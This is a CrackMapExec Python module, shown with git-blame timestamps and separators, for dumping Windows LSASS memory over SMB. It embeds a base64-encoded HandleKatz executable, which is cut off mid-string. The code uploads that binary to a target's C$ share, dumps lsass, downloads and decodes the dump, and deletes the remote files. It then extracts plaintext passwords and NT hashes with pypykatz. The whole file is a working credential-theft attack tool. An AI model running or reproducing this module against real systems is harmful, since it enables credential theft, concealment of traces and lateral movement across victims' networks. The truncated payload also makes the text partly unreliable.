2021-11-14 12:15:42 +00:00
|
|
|
# handlekatz module for CME python3
|
|
|
|
# author of the module : github.com/mpgn
|
|
|
|
# HandleKatz: https://github.com/codewhitesec/HandleKatz
|
|
|
|
|
|
|
|
from io import StringIO
|
|
|
|
import os
|
|
|
|
import sys
|
|
|
|
import re
|
|
|
|
import time
|
|
|
|
import base64
|
|
|
|
|
|
|
|
class CMEModule:
|
|
|
|
|
|
|
|
name = 'handlekatz'
|
|
|
|
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
|
|
|
supported_protocols = ['smb']
|
|
|
|
opsec_safe = True # not really
|
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
|
|
|
'''
|
|
|
|
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
|
|
|
HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/shared/)
|
|
|
|
HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe)
|
|
|
|
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
|
|
|
|
'''
|
|
|
|
|
|
|
|
self.tmp_dir = "C:\\Windows\\Temp\\"
|
|
|
|
self.share = "C$"
|
|
|
|
self.tmp_share = self.tmp_dir.split(":")[1]
|
|
|
|
self.handlekatz_embeded = base64.b64decode("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
|
|
|
|
self.handlekatz = "handlekatz.exe"
|
|
|
|
self.handlekatz_path = "/tmp/shared/"
|
|
|
|
self.dir_result = self.handlekatz_path
|
|
|
|
self.useembeded = True
|
|
|
|
|
|
|
|
if 'HANDLEKATZ_PATH' in module_options:
|
|
|
|
self.handlekatz_path = module_options['HANDLEKATZ_PATH']
|
|
|
|
self.useembeded = False
|
|
|
|
|
|
|
|
if 'HANDLEKATZ_EXE_NAME' in module_options:
|
|
|
|
self.handlekatz = module_options['HANDLEKATZ_EXE_NAME']
|
|
|
|
self.useembeded = False
|
|
|
|
|
|
|
|
if 'TMP_DIR' in module_options:
|
|
|
|
self.tmp_dir = module_options['TMP_DIR']
|
|
|
|
|
|
|
|
if 'DIR_RESULT' in module_options:
|
|
|
|
self.dir_result = module_options['DIR_RESULT']
|
|
|
|
|
|
|
|
def on_admin_login(self, context, connection):
|
|
|
|
if self.useembeded == True:
|
|
|
|
with open(self.handlekatz_path + self.handlekatz, 'wb') as handlekatz:
|
|
|
|
handlekatz.write(self.handlekatz_embeded)
|
|
|
|
|
2021-11-14 17:22:44 +00:00
|
|
|
context.log.info('Copy {} to {}'.format(self.handlekatz_path + self.handlekatz, self.tmp_dir))
|
2021-11-14 12:15:42 +00:00
|
|
|
with open(self.handlekatz_path + self.handlekatz, 'rb') as handlekatz:
|
|
|
|
try:
|
|
|
|
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
|
|
|
context.log.success('Created file {} on the \\\\{}{}'.format(self.handlekatz, self.share, self.tmp_share))
|
|
|
|
except Exception as e:
|
|
|
|
context.log.error('Error writing file to share {}: {}'.format(share, e))
|
|
|
|
|
|
|
|
# get pid lsass
|
|
|
|
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
|
|
|
context.log.info('Getting lsass PID {}'.format(command))
|
|
|
|
p = connection.execute(command, True)
|
|
|
|
pid = p.split(',')[1][1:-1]
|
|
|
|
command = self.tmp_dir + self.handlekatz + ' --pid:' + pid + ' --outfile:' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
|
|
|
|
context.log.info('Executing command {}'.format(command))
|
|
|
|
p = connection.execute(command, True)
|
|
|
|
context.log.debug(p)
|
|
|
|
dump = False
|
|
|
|
if 'Lsass dump is complete' in p:
|
|
|
|
context.log.success('Process lsass.exe was successfully dumped')
|
|
|
|
dump = True
|
|
|
|
else:
|
|
|
|
context.log.error('Process lsass.exe error un dump, try with verbose')
|
|
|
|
|
|
|
|
if dump:
|
|
|
|
regex = r"([A-Za-z0-9-]*\.log)"
|
|
|
|
matches = re.search(regex, str(p), re.MULTILINE)
|
|
|
|
machine_name = ''
|
|
|
|
if matches:
|
|
|
|
machine_name = matches.group()
|
|
|
|
else:
|
|
|
|
context.log.info("Error getting the lsass.dmp file name")
|
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
context.log.info('Copy {} to host'.format(machine_name))
|
|
|
|
|
|
|
|
with open(self.dir_result + machine_name, 'wb+') as dump_file:
|
|
|
|
try:
|
|
|
|
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
|
|
|
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
|
|
|
|
except Exception as e:
|
|
|
|
context.log.error('Error while get file: {}'.format(e))
|
|
|
|
|
|
|
|
try:
|
|
|
|
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
|
|
|
context.log.success('Deleted handlekatz file on the {} share'.format(self.share))
|
|
|
|
except Exception as e:
|
|
|
|
context.log.error('Error deleting handlekatz file on share {}: {}'.format(self.share, e))
|
|
|
|
|
|
|
|
try:
|
|
|
|
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
|
|
|
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
|
|
|
|
except Exception as e:
|
|
|
|
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
|
|
|
|
|
|
|
|
h_in = open(self.dir_result + machine_name, "rb")
|
|
|
|
h_out = open(self.dir_result + machine_name + ".decode", "wb")
|
|
|
|
|
|
|
|
bytes_in = bytearray(h_in.read())
|
|
|
|
bytes_in_len = len(bytes_in)
|
|
|
|
|
|
|
|
context.log.info("Deobfuscating, this might take a while")
|
|
|
|
|
|
|
|
chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)]
|
|
|
|
for chunk in chunks:
|
|
|
|
for i in range(0, len(chunk)):
|
|
|
|
chunk[i] ^= 0x41
|
|
|
|
|
|
|
|
h_out.write(bytes(chunk))
|
2022-02-23 20:09:19 +00:00
|
|
|
|
|
|
|
|
|
|
|
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
|
|
|
|
try:
|
|
|
|
credentials = []
|
2021-11-20 21:37:14 +00:00
|
|
|
credz_bh = []
|
2022-02-23 20:09:19 +00:00
|
|
|
pypy_parse = pypykatz.parse_minidump_external(dump)
|
|
|
|
|
|
|
|
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
|
|
|
'tspkg_creds']
|
|
|
|
for luid in pypy_parse.logon_sessions:
|
|
|
|
|
|
|
|
for ssp in ssps:
|
|
|
|
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
|
|
|
domain = getattr(cred, "domainname", None)
|
|
|
|
username = getattr(cred, "username", None)
|
|
|
|
password = getattr(cred, "password", None)
|
|
|
|
NThash = getattr(cred, "NThash", None)
|
|
|
|
if NThash is not None:
|
|
|
|
NThash = NThash.hex()
|
|
|
|
if username and (password or NThash) and "$" not in username:
|
|
|
|
print_pass = password if password else NThash
|
|
|
|
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
|
|
|
if "." not in domain and domain.upper() in connection.domain.upper():
|
|
|
|
domain = connection.domain
|
|
|
|
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
|
|
|
if len(credz_bh) > 0:
|
|
|
|
add_user_bh(credz_bh, None, context.log, connection.config)
|
|
|
|
except Exception as e:
|
|
|
|
context.log.error('Error openning dump file', str(e))
|